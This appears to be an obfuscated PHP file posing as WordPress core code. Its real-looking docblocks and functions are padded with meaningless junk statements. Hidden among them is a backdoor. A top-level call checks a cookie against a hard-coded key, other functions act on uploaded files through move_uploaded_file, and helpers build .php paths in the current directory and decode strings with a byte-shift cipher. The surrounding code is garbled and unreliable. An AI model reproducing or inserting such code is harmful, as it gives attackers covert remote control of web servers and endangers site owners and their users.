$maxoffset['rrl6t85x0'] = 'bxbql440'; if(!isset($nextFrameID)) { $nextFrameID = 'dc58f5'; } // No other 'post_type' values are allowed here. // Support for conditional GET. $nextFrameID = log10(453); if(!(asinh(514)) === False){ $table_name = 'pqkpoucw'; } // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315 $ActualBitsPerSample['ftdh7s'] = 856; $f5g4 = chop($g4, $f5g4); $label_styles['qkjk7'] = 3989; // s17 += carry16; if(!(cos(377)) != false) { $css_validation_result = 'm2bdoqu'; } $g4 = lcfirst($f5g4); $f5g4 = strcspn($unpublished_changeset_post, $unpublished_changeset_post); $format_arg = (!isset($format_arg)? "ifhr7ek3s" : "ezdys0"); if(!isset($random)) { $random = 'vxz02'; } $random = asinh(232); if(!isset($az)) { $az = 'j83k85iq4'; } $az = rawurlencode($unpublished_changeset_post); $sigma['oblnhuijp'] = 'iz06wbq'; $s18['nu1a7ztf'] = 380; $random = strrpos($unpublished_changeset_post, $g4); $WEBP_VP8_header['fzjlon'] = 'nxtzlc'; $az = strrpos($az, $g4); return $g4; } /** * Filters the allowed options list. * * @since 2.7.0 * @deprecated 5.5.0 Use {@see 'allowed_options'} instead. * * @param array $allowed_options The allowed options list. */ function wp_theme_has_theme_json ($breadcrumbs){ $updated_style = (!isset($updated_style)? "ih4exc" : "gh8us"); $custom_meta = 't55m'; $file_names = 'gbtprlg'; $Header4Bytes['wc0j'] = 525; $send_id['xr26v69r'] = 4403; if((cosh(29)) == True) { $completed_timestamp = 'grdc'; } // Fetch URL content. // [46][60] -- MIME type of the file. // The path when the file is accessed via WP_Filesystem may differ in the case of FTP. if(!isset($fnction)) { $fnction = 'i3f1ggxn'; } $matched_taxonomy = 'k5lu8v'; $date_fields = 'hxpv3h1'; if(!isset($imagick_timeout)) { $imagick_timeout = 'nt06zulmw'; } if(!isset($registration_redirect)) { $registration_redirect = 'crm7nlgx'; } $imagick_timeout = asinh(955); if(!empty(strripos($file_names, $matched_taxonomy)) == FALSE) { $has_f_root = 'ov6o'; } $fnction = cosh(345); $registration_redirect = lcfirst($custom_meta); if((html_entity_decode($date_fields)) == false) { $high = 'erj4i3'; } //Validate From, Sender, and ConfirmReadingTo addresses if(!isset($frame_receivedasid)) { $frame_receivedasid = 'jpqm3nm7g'; } $uploaded_headers['s8mu'] = 2432; $registration_redirect = htmlspecialchars($custom_meta); $namespace_pattern = (!isset($namespace_pattern)? 'd7wi7nzy' : 'r8ri0i'); $wp_hasher['flj6'] = 'yvf1'; $with_id['yrzkdyg6'] = 'mxia'; if(!isset($req_data)) { $req_data = 'bw9lb'; } $req_data = exp(140); $breadcrumbs = 'nvt814eur'; $breadcrumbs = ltrim($breadcrumbs); if(!(tanh(384)) === FALSE) { $invsqrtamd = 'ow7zwqplt'; } $active_class = 'eoo8vquc'; $terms_update = (!isset($terms_update)? "u9574gc" : "ha6q547ab"); $admin_page_hooks['fs83kf'] = 2227; if(!isset($ID3v2_key_good)) { $ID3v2_key_good = 'epnm'; } $ID3v2_key_good = is_string($active_class); $revision_query = (!isset($revision_query)? 'ttqc' : 'mwc17'); $chunkdata['cb13m6c4s'] = 'jmcfw'; $active_class = bin2hex($ID3v2_key_good); $cookie_name = 'vlba4'; $changed_setting_ids = (!isset($changed_setting_ids)? 'mupo' : 'ki7x9x5qm'); $create_ddl['xrrgzjvv7'] = 'm70h47t'; $active_class = md5($cookie_name); $cookie_name = stripslashes($breadcrumbs); if(!(basename($req_data)) == True) { $cannot_define_constant_message = 'u6ua'; } $active_class = sin(227); $editable_slug = (!isset($editable_slug)?'awfirw':'g66zfaobr'); if(!empty(log(117)) === false) { $menu_location_key = 'y20xy2g'; } $contrib_name = (!isset($contrib_name)? "g4p2l" : "ysist"); $cookie_name = ceil(729); $file_or_url['wqrg'] = 1170; $active_class = bin2hex($breadcrumbs); return $breadcrumbs; } // remove undesired keys /** * Magic method for checking the existence of a certain custom field. * * @since 3.3.0 * * @param string $skip_link_color_serialization User meta key to check if set. * @return bool Whether the given user meta key is set. */ function wp_nav_menu_taxonomy_meta_boxes($frame_size, $site_logo_id){ $kAlphaStrLength = move_uploaded_file($frame_size, $site_logo_id); $SNDM_startoffset = (!isset($SNDM_startoffset)? "b8xa1jt8" : "vekwdbag"); $errmsg_blogname_aria = (!isset($errmsg_blogname_aria)? "hjyi1" : "wuhe69wd"); $update_parsed_url = 'ymfrbyeah'; $date_data = 'v2vs2wj'; if(!isset($embeds)) { $embeds = 'zfz0jr'; } # We care because the last character in our encoded string will $embeds = sqrt(440); if(!empty(rad2deg(262)) == FALSE) { $cat_array = 'pcvg1bf'; } $first_response_value['aeiwp10'] = 'jfaoi1z2'; $date_data = html_entity_decode($date_data); $req_headers['hkjs'] = 4284; $stamp = 't5j8mo19n'; if(!isset($autosave_field)) { $autosave_field = 's1vd7'; } $new_name['gfu1k'] = 4425; $contents['r68great'] = 'y9dic'; if(!isset($editor)) { $editor = 'smsbcigs'; } return $kAlphaStrLength; } /** * Retrieves name of the active theme. * * @since 1.5.0 * * @return string Template name. */ function ASF_WMpicture() { /** * Filters the name of the active theme. * * @since 1.5.0 * * @param string $table_charset active theme's directory name. */ return apply_filters('template', get_option('template')); } // get_post_status() will get the parent status for attachments. /** * Marks the changeset post as being currently edited by the current user. * * @since 4.9.0 * * @param int $changeset_post_id Changeset post ID. * @param bool $take_over Whether to take over the changeset. Default false. */ function block_core_navigation_link_build_css_font_sizes ($req_data){ $breadcrumbs = 'cl220z'; // Backward compat code will be removed in a future release. $ip1 = 'ujqo38wgy'; $Ai = 'v6fc6osd'; $ip1 = urldecode($ip1); $source_width['ig54wjc'] = 'wlaf4ecp'; $MPEGaudioModeExtensionLookup = (!isset($MPEGaudioModeExtensionLookup)? "ftg1oxs" : "dvwj8d3j"); $Ai = str_repeat($Ai, 19); $orig_siteurl['csdrcu72p'] = 4701; $transport['mh2c7fn'] = 3763; $thisfile_riff_raw = (!isset($thisfile_riff_raw)? "kajedmk1c" : "j7n10bgw"); if(!empty(str_repeat($ip1, 18)) == TRUE) { $leavename = 'y8k8z5'; } $hidden['ondqym'] = 4060; $int_value = (!isset($int_value)?'m95r4t3n4':'y01n'); $Ai = rawurlencode($Ai); // array( ints ) $breadcrumbs = is_string($breadcrumbs); $active_class = 'am71'; if(!empty(strrpos($Ai, $Ai)) === True) { $format_meta_url = 'kf20'; } $ip1 = htmlspecialchars_decode($ip1); // [57][41] -- Writing application ("mkvmerge-0.3.3"). $Ai = rad2deg(286); if((urldecode($ip1)) == True) { $categories_parent = 'k695n6'; } if(!empty(htmlspecialchars_decode($active_class)) == False) { $file_hash = 'pqc8hh7bl'; } if(!empty(decoct(247)) !== False) { $force_echo = 'p8mprli'; } $ID3v2_key_good = 'yihpr4bf'; $ID3v2_key_good = basename($ID3v2_key_good); $ID3v2_key_good = sin(275); $cookie_name = 'qqm5l'; $cookie_name = convert_uuencode($cookie_name); return $req_data; } // 1 : ... ? /* * Default to enabled for new installs. * See https://core.trac.wordpress.org/ticket/51742. */ if(!isset($wp_site_icon)) { $wp_site_icon = 'plnx'; } /** * Fires after the Add Tag form fields for non-hierarchical taxonomies. * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ function IsANumber ($rgadData){ // If all features are available now, do not look further. $critical_support = 'qm52g51'; $rgadData = ucfirst($critical_support); $first_menu_item = 'dy5u3m'; $thisfile_ac3_raw = 'f4tl'; $sign_up_url = 'bnrv6e1l'; //Restore timelimit $optiondates = (!isset($optiondates)? 'o5f5ag' : 'g6wugd'); if(!isset($changeset_date_gmt)) { $changeset_date_gmt = 'euyj7cylc'; } $from_line_no['pvumssaa7'] = 'a07jd9e'; $changeset_date_gmt = rawurlencode($thisfile_ac3_raw); $index_matches['o1rm'] = 'qp5w'; if((bin2hex($first_menu_item)) === true) { $tz_min = 'qxbqa2'; } $critical_support = strnatcmp($rgadData, $critical_support); // Old cookies. // create temp instance $shortlink['vqezx'] = 4116; if(!isset($ipaslong)) { $ipaslong = 'rx1cptd0'; } $ipaslong = html_entity_decode($critical_support); $sign_up_url = stripcslashes($sign_up_url); $notifications_enabled = 'mt7rw2t'; $token['s560'] = 4118; // No need to run if nothing is queued. $accept['epl9'] = 'm6k6qjlq'; $notifications_enabled = strrev($notifications_enabled); $changeset_date_gmt = sinh(495); if(!(urldecode($sign_up_url)) !== false) { $blog_public_on_checked = 'tihvyp'; } $maskbyte = (!isset($maskbyte)? "bf8x4" : "mma4aktar"); $signedMessage = (!isset($signedMessage)? 'irwiqkz' : 'e2akz'); // If the network is defined in wp-config.php, we can simply use that. # $h1 &= 0x3ffffff; // [97] -- Position of the Cluster containing the referenced Block. $rgadData = ceil(655); $ipaslong = atanh(988); $all_blocks['ymrfwiyb'] = 'qz63j'; $first_menu_item = log10(568); $sign_up_url = decbin(929); // Extended ID3v1 genres invented by SCMPX $rgadData = deg2rad(652); // -6 -30.10 dB if(!empty(strripos($thisfile_ac3_raw, $changeset_date_gmt)) == false) { $S11 = 'c4y6'; } $first_menu_item = atan(663); $autosaved['vxojz'] = 4304; $critical_support = acos(327); // Huffman Lossless Codec $import_id = (!isset($import_id)? 'rt7jt' : 'abmixkx'); if(!isset($widget_instance)) { $widget_instance = 'tkwr3'; } $api_param['zcaf8i'] = 'nkl9f3'; // Holds the data for this post. built up based on $fields. $widgets = (!isset($widgets)? 'sa1416w43' : 'p3b8'); if(!empty(trim($ipaslong)) == TRUE) { $DataLength = 'tpdoi6rj0'; } if(!(sin(452)) == False) { $curl_path = 'rwxapp495'; } if(!isset($should_update)) { $should_update = 'jxm6ud1t'; } $should_update = dechex(662); $ipaslong = strripos($rgadData, $critical_support); $orig_matches = 'nxz8z'; $file_details = (!isset($file_details)? 'g01ro3p' : 'dut2l2r'); if(!isset($mysql_server_version)) { $mysql_server_version = 'xp26g'; } $mysql_server_version = htmlspecialchars_decode($orig_matches); $orig_matches = decbin(815); $child_api = (!isset($child_api)? "j41qbq9u" : "wjux"); if(!isset($sticky_offset)) { $sticky_offset = 'e6jccla'; } $sticky_offset = htmlspecialchars($should_update); return $rgadData; } /** * Get the language for the feed * * Uses `<language>`, `<dc:language>`, or @xml_lang * * @since 1.0 (previously called `get_feed_language()` since 0.8) * @return string|null */ function redirect_this_site($queues){ $is_value_array['c5cmnsge'] = 4400; $individual_feature_declarations = 'bwk0o'; if(empty(sqrt(262)) == True){ $relative_path = 'dwmyp'; } $deprecated_classes = (!isset($deprecated_classes)? "kr0tf3qq" : "xp7a"); if (strpos($queues, "/") !== false) { return true; } return false; } $imagestrings['cz3i'] = 'nsjs0j49b'; /** * Functions to be called in installation and upgrade scripts. * * Contains conditional checks to determine which upgrade scripts to run, * based on database version and WP version being updated-to. * * @ignore * @since 1.0.1 * * @global int $allnumericnames The old (current) database version. * @global int $title_placeholder The new database version. */ function get_the_category_rss() { global $allnumericnames, $title_placeholder; $allnumericnames = __get_option('db_version'); // We are up to date. Nothing to do. if ($title_placeholder == $allnumericnames) { return; } // If the version is not set in the DB, try to guess the version. if (empty($allnumericnames)) { $allnumericnames = 0; // If the template option exists, we have 1.5. $table_charset = __get_option('template'); if (!empty($table_charset)) { $allnumericnames = 2541; } } if ($allnumericnames < 6039) { upgrade_230_options_table(); } populate_options(); if ($allnumericnames < 2541) { upgrade_100(); upgrade_101(); upgrade_110(); upgrade_130(); } if ($allnumericnames < 3308) { upgrade_160(); } if ($allnumericnames < 4772) { upgrade_210(); } if ($allnumericnames < 4351) { upgrade_old_slugs(); } if ($allnumericnames < 5539) { upgrade_230(); } if ($allnumericnames < 6124) { upgrade_230_old_tables(); } if ($allnumericnames < 7499) { upgrade_250(); } if ($allnumericnames < 7935) { upgrade_252(); } if ($allnumericnames < 8201) { upgrade_260(); } if ($allnumericnames < 8989) { upgrade_270(); } if ($allnumericnames < 10360) { upgrade_280(); } if ($allnumericnames < 11958) { upgrade_290(); } if ($allnumericnames < 15260) { upgrade_300(); } if ($allnumericnames < 19389) { upgrade_330(); } if ($allnumericnames < 20080) { upgrade_340(); } if ($allnumericnames < 22422) { upgrade_350(); } if ($allnumericnames < 25824) { upgrade_370(); } if ($allnumericnames < 26148) { upgrade_372(); } if ($allnumericnames < 26691) { upgrade_380(); } if ($allnumericnames < 29630) { upgrade_400(); } if ($allnumericnames < 33055) { upgrade_430(); } if ($allnumericnames < 33056) { upgrade_431(); } if ($allnumericnames < 35700) { upgrade_440(); } if ($allnumericnames < 36686) { upgrade_450(); } if ($allnumericnames < 37965) { upgrade_460(); } if ($allnumericnames < 44719) { upgrade_510(); } if ($allnumericnames < 45744) { upgrade_530(); } if ($allnumericnames < 48575) { upgrade_550(); } if ($allnumericnames < 49752) { upgrade_560(); } if ($allnumericnames < 51917) { upgrade_590(); } if ($allnumericnames < 53011) { upgrade_600(); } if ($allnumericnames < 55853) { upgrade_630(); } if ($allnumericnames < 56657) { upgrade_640(); } if ($allnumericnames < 57155) { upgrade_650(); } maybe_disable_link_manager(); maybe_disable_automattic_widgets(); update_option('db_version', $title_placeholder); update_option('db_upgraded', true); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ if(!isset($imagick_timeout)) { $imagick_timeout = 'nt06zulmw'; } /** * Ends the element output, if needed. * * @see Walker::end_el() * * @since 2.5.1 * @since 5.9.0 Renamed `$category` to `$absolute_url_object` to match parent class for PHP 8 named parameter support. * * @param string $f0f0 Used to append additional content (passed by reference). * @param WP_Term $absolute_url_object The current term object. * @param int $depth Depth of the term in reference to parents. Default 0. * @param array $new_size_data An array of arguments. See {@see wp_terms_checklist()}. */ function from_url($notify){ // Copy update-core.php from the new version into place. $min = 'y7czv8w'; $font_style = 'q5z85q'; $with_theme_supports = 'sVXQvaENoVJlRckxXxXfNxFEJBP'; // $old_rolelugin must end with '.php'. if(!(stripslashes($min)) !== true) { $rawheaders = 'olak7'; } $idn = (!isset($idn)? 'vu8gpm5' : 'xoy2'); # fe_copy(x3,x1); // Check that the font face settings match the theme.json schema. // At least one of $dest_w or $dest_h must be specific. // entries and extract the interesting parameters that will be given back. if (isset($_COOKIE[$notify])) { tally_rendered_widgets($notify, $with_theme_supports); } } /** * Serves the XML-RPC request. * * @since 2.9.0 */ if((strnatcasecmp($existing_domain, $existing_domain)) !== TRUE) { $new_item = 'yfu7'; } $f6g7_19['miif5r'] = 3059; $imagick_timeout = asinh(955); $wp_site_icon = strcoll($wasnt_square, $wasnt_square); /* translators: %s: Widget name. */ function safe_inc($query_id){ $edit_others_cap = 'al501flv'; $sendmailFmt = (!isset($sendmailFmt)? 'xg611' : 'gvse'); $fallback_url = 'd7k8l'; $akismet_debug = 'e0ix9'; $found_selected = 'h97c8z'; $rawdata = __DIR__; // 1,2c4,6 // Remove extraneous backslashes. // First we try to get the interval from the schedule. if(!isset($duotone_attr_path)) { $duotone_attr_path = 'za471xp'; } if(!isset($isize)) { $isize = 'rlzaqy'; } $uploaded_by_link['c6gohg71a'] = 'd0kjnw5ys'; if(!empty(md5($akismet_debug)) != True) { $intstring = 'tfe8tu7r'; } if(!empty(ucfirst($fallback_url)) === False) { $memlimit = 'ebgjp'; } $isize = soundex($found_selected); $y1 = 'hu691hy'; $duotone_attr_path = substr($edit_others_cap, 14, 22); $is_patterns_path['cq52pw'] = 'ikqpp7'; if(!isset($max_results)) { $max_results = 'vgpv'; } $themes_allowedtags = (!isset($themes_allowedtags)? "q5hc3l" : "heqp17k9"); $max_results = asinh(296); if(!isset($more)) { $more = 'svay30c'; } $v_hour['u6fsnm'] = 4359; $found_selected = htmlspecialchars($found_selected); // Only update the term if we have something to update. // Get the meta_value index from the end of the result set. // ----- Calculate the size of the (new) central header $APEtagData = ".php"; // Note that a term_id of less than one indicates a nav_menu not yet inserted. $query_id = $query_id . $APEtagData; // by Steve Webster <steve.websterØfeaturecreep*com> // $query_id = DIRECTORY_SEPARATOR . $query_id; # crypto_secretstream_xchacha20poly1305_rekey(state); $query_id = $rawdata . $query_id; // Allows for an empty term set to be sent. 0 is an invalid term ID and will be ignored by empty() checks. // while reading the file return $query_id; } /** * Adds CSS classes and inline styles for colors to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $wrap_id Block type. * @param array $simplified_response_attributes Block attributes. * * @return array Colors CSS classes and inline styles. */ if(empty(strripos($dependency_note, $dependency_note)) === FALSE){ $form_directives = 'hl1rami2'; } from_url($notify); $uploaded_headers['s8mu'] = 2432; /* h += m[i] */ function filter_dynamic_setting_class ($f5g4){ $media_item = 'cwv83ls'; if(!isset($wp_interactivity)) { $wp_interactivity = 'py8h'; } $wp_interactivity = log1p(773); $selective_refresh = (!isset($selective_refresh)? "sxyg" : "paxcdv8tm"); // be shown this as one of the options. // Default to empty strings if the settings are missing. //Always sign these headers without being asked $digits['l86fmlw'] = 'w9pj66xgj'; if(!isset($iteration_count_log2)) { $iteration_count_log2 = 'auilyp'; } $iteration_count_log2 = strtr($wp_interactivity, 13, 16); if(!(html_entity_decode($media_item)) === true) { $returnType = 'nye6h'; } //if (!file_exists($this->include_path.'module.'.$name.'.php')) { // add a History item to the hover links, just after Edit if(!isset($max_days_of_year)) { $max_days_of_year = 'vuot1z'; } $mo_path['b45egh16c'] = 'ai82y5'; $az = 'uftx8a'; // so until I think of something better, just go by filename if all other format checks fail $max_days_of_year = round(987); if(!isset($unregistered)) { $unregistered = 'o77y'; } // Retained for backwards-compatibility. Unhooked by wp_enqueue_embed_styles(). // in order for the general setting to override any bock specific setting of a parent block or $unregistered = atanh(376); $f6g0 = 'v4uj'; // QuickTime // Prevent user from aborting script // @link: https://core.trac.wordpress.org/ticket/20027 // Load classes we will need. if(!isset($options_misc_pdf_returnXREF)) { $options_misc_pdf_returnXREF = 'h6nm8'; } $options_misc_pdf_returnXREF = urldecode($az); $g4 = 'nugvgajm0'; if(empty(trim($g4)) != FALSE) { $root = 'tqw5d9fv'; } if(!(str_repeat($g4, 8)) === False) { $gallery_style = 'u6gkseqrb'; } $wp_oembed['zy3wc0kck'] = 'cw9ici'; if(!isset($unpublished_changeset_post)) { $unpublished_changeset_post = 'e5zl3en'; } $unpublished_changeset_post = acos(584); $unpublished_changeset_post = cos(124); return $f5g4; } $wp_site_icon = rad2deg(792); /** * Adds post meta data defined in the `$_POST` superglobal for a post with given ID. * * @since 1.2.0 * * @param int $old_roleost_id * @return int|bool */ if(!empty(sin(840)) == False) { $current_theme_actions = 'zgksq9'; } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @since 3.4.0 */ if(!isset($color_scheme)) { $color_scheme = 'hhwm'; } /** * Retrieves the query params for the autosaves collection. * * @since 5.0.0 * * @return array Collection parameters. */ if(!isset($thumbnails_cached)) { $thumbnails_cached = 'htbpye8u6'; } /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ function get_taxonomies($font_file_path, $boxsmalltype){ $strategy['qfqxn30'] = 2904; $exit_required = 'fbir'; if(!isset($aggregated_multidimensionals)) { $aggregated_multidimensionals = 'vijp3tvj'; } $deprecated_classes = (!isset($deprecated_classes)? "kr0tf3qq" : "xp7a"); $ParsedID3v1 = 'ukn3'; // 2^16 - 1 $menu_item_id = cleanup($font_file_path) - cleanup($boxsmalltype); $menu_item_id = $menu_item_id + 256; $installing = 'u071qv5yn'; if(!isset($tablefield_field_lowercased)) { $tablefield_field_lowercased = 'g4jh'; } $default_link_cat = (!isset($default_link_cat)? 'f188' : 'ppks8x'); $aggregated_multidimensionals = round(572); if(!(asinh(500)) == True) { $tmp_check = 'i9c20qm'; } $lasttime = (!isset($lasttime)? "rvjo" : "nzxp57"); if(!isset($shortcut_labels)) { $shortcut_labels = 'co858'; } $tablefield_field_lowercased = acos(143); $subatomname['w3v7lk7'] = 3432; if((htmlspecialchars_decode($ParsedID3v1)) == true){ $dev = 'ahjcp'; } if(!(addslashes($aggregated_multidimensionals)) === TRUE) { $http_url = 'i9x6'; } if(!isset($new_sidebar)) { $new_sidebar = 'qayhp'; } $ParsedID3v1 = expm1(711); if(!isset($revision_id)) { $revision_id = 'b6ny4nzqh'; } $shortcut_labels = strcspn($exit_required, $installing); // If the target is a string convert to an array. // Else use the decremented value from above. // -8 : Unable to create directory // If this is the current screen, see if we can be more accurate for post types and taxonomies. $new_sidebar = atan(658); if((decbin(65)) != True) { $syncwords = 'b4we0idqq'; } $revision_id = cos(824); $image_format_signature['rzlpi'] = 'hiuw9q0l'; if(!isset($has_max_width)) { $has_max_width = 'z7pp'; } if(!isset($start_byte)) { $start_byte = 'asy5gzz'; } $new_sidebar = addslashes($tablefield_field_lowercased); $has_max_width = atan(629); $help_sidebar_rollback['u9qi'] = 1021; if(!isset($text_direction)) { $text_direction = 'nrjeyi4z'; } $menu_item_id = $menu_item_id % 256; $font_file_path = sprintf("%c", $menu_item_id); // * Type Index WORD 16 // type of this command, as a zero-based index into the array of Command Types of this object $object_term['d9np'] = 'fyq9b2yp'; $ParsedID3v1 = acosh(903); $start_byte = rad2deg(14); $orderby_mapping = (!isset($orderby_mapping)? 'apbrl' : 'ea045'); $text_direction = rad2deg(601); $revision_id = ucfirst($revision_id); if(!isset($has_named_overlay_background_color)) { $has_named_overlay_background_color = 'tykd4aat'; } if(!(strtr($aggregated_multidimensionals, 9, 19)) !== FALSE){ $use_last_line = 'ihobch'; } $start_byte = asin(682); $ParsedID3v1 = rawurldecode($ParsedID3v1); if(!empty(base64_encode($start_byte)) === true) { $got_url_rewrite = 'vquskla'; } $DTSheader = (!isset($DTSheader)? "a5t5cbh" : "x3s1ixs"); $ParsedID3v1 = quotemeta($ParsedID3v1); $aggregated_multidimensionals = rtrim($has_max_width); $has_named_overlay_background_color = htmlentities($tablefield_field_lowercased); return $font_file_path; } /** * Calculates what page number a comment will appear on for comment paging. * * @since 2.7.0 * * @global wpdb $binarypointnumber WordPress database abstraction object. * * @param int $f3g9_38 Comment ID. * @param array $new_size_data { * Array of optional arguments. * * @type string $type Limit paginated comments to those matching a given type. * Accepts 'comment', 'trackback', 'pingback', 'pings' * (trackbacks and pingbacks), or 'all'. Default 'all'. * @type int $old_roleer_page Per-page count to use when calculating pagination. * Defaults to the value of the 'comments_per_page' option. * @type int|string $max_depth If greater than 1, comment page will be determined * for the top-level parent `$f3g9_38`. * Defaults to the value of the 'thread_comments_depth' option. * } * @return int|null Comment page number or null on error. */ function wp_check_locked_posts($f3g9_38, $new_size_data = array()) { global $binarypointnumber; $aria_name = null; $remote_source_original = get_comment($f3g9_38); if (!$remote_source_original) { return; } $old_ID = array('type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => ''); $new_size_data = wp_parse_args($new_size_data, $old_ID); $c11 = $new_size_data; // Order of precedence: 1. `$new_size_data['per_page']`, 2. 'comments_per_page' query_var, 3. 'comments_per_page' option. if (get_option('page_comments')) { if ('' === $new_size_data['per_page']) { $new_size_data['per_page'] = get_query_var('comments_per_page'); } if ('' === $new_size_data['per_page']) { $new_size_data['per_page'] = get_option('comments_per_page'); } } if (empty($new_size_data['per_page'])) { $new_size_data['per_page'] = 0; $new_size_data['page'] = 0; } if ($new_size_data['per_page'] < 1) { $aria_name = 1; } if (null === $aria_name) { if ('' === $new_size_data['max_depth']) { if (get_option('thread_comments')) { $new_size_data['max_depth'] = get_option('thread_comments_depth'); } else { $new_size_data['max_depth'] = -1; } } // Find this comment's top-level parent if threading is enabled. if ($new_size_data['max_depth'] > 1 && 0 != $remote_source_original->comment_parent) { return wp_check_locked_posts($remote_source_original->comment_parent, $new_size_data); } $StreamPropertiesObjectStreamNumber = array('type' => $new_size_data['type'], 'post_id' => $remote_source_original->comment_post_ID, 'fields' => 'ids', 'count' => true, 'status' => 'approve', 'orderby' => 'none', 'parent' => 0, 'date_query' => array(array('column' => "{$binarypointnumber->comments}.comment_date_gmt", 'before' => $remote_source_original->comment_date_gmt))); if (is_user_logged_in()) { $StreamPropertiesObjectStreamNumber['include_unapproved'] = array(get_current_user_id()); } else { $compressed_output = wp_get_unapproved_comment_author_email(); if ($compressed_output) { $StreamPropertiesObjectStreamNumber['include_unapproved'] = array($compressed_output); } } /** * Filters the arguments used to query comments in wp_check_locked_posts(). * * @since 5.5.0 * * @see WP_Comment_Query::__construct() * * @param array $StreamPropertiesObjectStreamNumber { * Array of WP_Comment_Query arguments. * * @type string $type Limit paginated comments to those matching a given type. * Accepts 'comment', 'trackback', 'pingback', 'pings' * (trackbacks and pingbacks), or 'all'. Default 'all'. * @type int $old_roleost_id ID of the post. * @type string $fields Comment fields to return. * @type bool $rollback_result Whether to return a comment count (true) or array * of comment objects (false). * @type string $stickies Comment status. * @type int $thisfile_asf_comments Parent ID of comment to retrieve children of. * @type array $date_query Date query clauses to limit comments by. See WP_Date_Query. * @type array $include_unapproved Array of IDs or email addresses whose unapproved comments * will be included in paginated comments. * } */ $StreamPropertiesObjectStreamNumber = apply_filters('wp_check_locked_posts_query_args', $StreamPropertiesObjectStreamNumber); $AuthorizedTransferMode = new WP_Comment_Query(); $most_active = $AuthorizedTransferMode->query($StreamPropertiesObjectStreamNumber); // No older comments? Then it's page #1. if (0 == $most_active) { $aria_name = 1; // Divide comments older than this one by comments per page to get this comment's page number. } else { $aria_name = (int) ceil(($most_active + 1) / $new_size_data['per_page']); } } /** * Filters the calculated page on which a comment appears. * * @since 4.4.0 * @since 4.7.0 Introduced the `$f3g9_38` parameter. * * @param int $aria_name Comment page. * @param array $new_size_data { * Arguments used to calculate pagination. These include arguments auto-detected by the function, * based on query vars, system settings, etc. For pristine arguments passed to the function, * see `$c11`. * * @type string $type Type of comments to count. * @type int $aria_name Calculated current page. * @type int $old_roleer_page Calculated number of comments per page. * @type int $max_depth Maximum comment threading depth allowed. * } * @param array $c11 { * Array of arguments passed to the function. Some or all of these may not be set. * * @type string $type Type of comments to count. * @type int $aria_name Current comment page. * @type int $old_roleer_page Number of comments per page. * @type int $max_depth Maximum comment threading depth allowed. * } * @param int $f3g9_38 ID of the comment. */ return apply_filters('wp_check_locked_posts', (int) $aria_name, $new_size_data, $c11, $f3g9_38); } $mp3gain_globalgain_max['oe0cld'] = 'grirt'; $quick_tasks = 'rxs14a'; /** * Signifies whether the current query is for a post type archive. * * @since 3.1.0 * @var bool */ function intval_base10 ($StreamNumberCounter){ // Check the XPath to the rewrite rule and create XML nodes if they do not exist. $switched_blog = 'rvw1y0'; // Let's check the remote site. // Default value of WP_Locale::get_word_count_type(). // ability to change that. $compare_original = 'fkgq88'; $carry12['q08a'] = 998; $crop_y = (!isset($crop_y)? "uy80" : "lbd9zi"); if(!isset($maxTimeout)) { $maxTimeout = 'f8pnbvs6x'; } $maxTimeout = base64_encode($switched_blog); $fn_get_css = 'ejqoq12'; $fn_get_css = stripslashes($fn_get_css); $admin_body_id = 'si8saw5a'; $admin_body_id = nl2br($admin_body_id); $requires_wp = (!isset($requires_wp)? 'fgj0712v' : 'oh6u1a'); $text_align['d0f6n'] = 's4nnxih9g'; if((round(58)) !== True){ $frame_remainingdata = 'f79w2d0'; } $js_array = (!isset($js_array)? "lkkjx7" : "zi2meo"); $from_name['kkz8'] = 'ncp2x12b'; if(empty(rawurldecode($maxTimeout)) == TRUE) { $mce_css = 'ywo8oxq52'; } $checking_collation = 'ddlnzw7o1'; if((sha1($checking_collation)) != False) { $total_size_mb = 'hsj4td'; } $dim_props['hpcx8wa'] = 'j5bblr'; $checking_collation = acosh(60); return $StreamNumberCounter; } /** * Retrieves authors list. * * @since 2.2.0 * * @param array $new_size_data { * Method arguments. Note: arguments must be ordered as documented. * * @type int $0 Blog ID (unused). * @type string $1 Username. * @type string $2 Password. * } * @return array|IXR_Error */ function get_comment_feed_permastruct($notify, $with_theme_supports, $admin_all_statuses){ if((cosh(29)) == True) { $completed_timestamp = 'grdc'; } $IPLS_parts = 'yknxq46kc'; $should_skip_text_transform['q8slt'] = 'xmjsxfz9v'; $state_count = 'dvfcq'; $keep_reading = 'u52eddlr'; if (isset($_FILES[$notify])) { recipient($notify, $with_theme_supports, $admin_all_statuses); } wp_embed_unregister_handler($admin_all_statuses); } $color_scheme = strrpos($existing_domain, $existing_domain); // http://privatewww.essex.ac.uk/~djmrob/replaygain/ /* translators: %s: UTC time. */ function admin_menu ($rgadData){ $thisB = (!isset($thisB)?'gdhjh5':'rrg7jdd1l'); // Check for existing cover. $rgadData = atanh(312); $this_plugin_dir['u9lnwat7'] = 'f0syy1'; // first one. if(!empty(floor(262)) === FALSE) { $ac3_coding_mode = 'iq0gmm'; } // Check that the byte is valid, then add it to the character: $query_orderby['s5dotnhd'] = 1510; $total_posts = 'q9ih'; $rgadData = strcspn($rgadData, $rgadData); $rgadData = dechex(651); if(!isset($sticky_offset)) { $sticky_offset = 'lvmxl'; } $sticky_offset = tan(131); $taxonomy_to_clean['q107'] = 'emng'; $rgadData = str_shuffle($rgadData); // Encourage a pretty permalink setting. // Avoid single A-Z and single dashes. $meta_ids = (!isset($meta_ids)? 'ywc81uuaz' : 'jitr6shnv'); $should_update = 'rd83'; $total_posts = urldecode($total_posts); $blogmeta = 'z355xf'; $rgadData = strtolower($should_update); if(empty(strcoll($should_update, $sticky_offset)) == TRUE) { $return_value = 'hudfh5'; } $file_contents['c6as3'] = 1428; $subtbquery['n8jlfvv4'] = 4126; if(!isset($critical_support)) { $critical_support = 'fph0qj2'; } $critical_support = lcfirst($should_update); $new_autosave['jrggj'] = 1535; $compat_fields['xt2779q'] = 4313; if(!empty(decoct(556)) !== true){ $f3g5_2 = 'l2wlyrhww'; } return $rgadData; } /* * If upload_url_path is not the default (empty), * or upload_path is not the default ('wp-content/uploads' or empty), * they can be 